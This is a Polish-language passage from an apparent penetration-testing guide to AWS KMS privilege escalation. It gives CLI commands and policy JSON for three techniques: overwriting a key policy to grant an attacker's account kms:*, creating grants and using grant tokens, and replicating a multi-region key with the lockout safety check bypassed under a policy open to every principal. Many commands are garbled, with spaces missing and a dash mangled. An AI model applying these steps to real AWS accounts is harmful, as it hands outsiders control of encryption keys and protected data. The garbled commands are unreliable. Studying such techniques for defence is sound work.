Z tymi uprawnieniami jest możliwe zmodyfikowanie uprawnień dostępu do klucza, dzięki czemu może być on używany przez inne konta lub nawet przez każdego:
awskmslist-keysawskmslist-key-policies--key-id<id># Although only 1 max per keyawskmsget-key-policy--key-id<id>--policy-name<policy_name># AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
awskmsput-key-policy--key-id<id>--policy-name<policy_name>--policyfile:///tmp/policy.json
policy.json:
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<origin_account>:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow all use","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<attackers_account>:root"},"Action": [ "kms:*" ],"Resource":"*"}]}
kms:CreateGrant
To pozwala podmiotowi na korzystanie z klucza KMS:
Zauważ, że może minąć kilka minut zanim KMS pozwoli użytkownikowi na użycie klucza po wygenerowaniu uprawnienia. Po upływie tego czasu podmiot może używać klucza KMS bez konieczności określania czegokolwiek.
Jednak jeśli konieczne jest natychmiastowe użycie uprawnienia użyj tokena uprawnienia (sprawdź poniższy kod).
Aby uzyskać więcej informacji przeczytaj to.
# Use the grant token in a requestawskmsgenerate-data-key \--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \–-key-spec AES_256 \--grant-tokens $token
Zauważ, że możliwe jest wylistowanie przyznanych uprawnień kluczy za pomocą:
awskmslist-grants--key-id<value>
kms:CreateKey, kms:ReplicateKey
Z tymi uprawnieniami możliwe jest replikowanie klucza KMS włączonego w wielu regionach w innym regionie z inną polityką.
Tak więc, atakujący mógłby wykorzystać to do uzyskania eskalacji uprawnień do klucza i go wykorzystać
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal":{"AWS":"*"},"Action":"kms:*","Resource":"*"}]}
kms:Decrypt
To uprawnienie pozwala na użycie klucza do odszyfrowania pewnych informacji.
Aby uzyskać więcej informacji, sprawdź: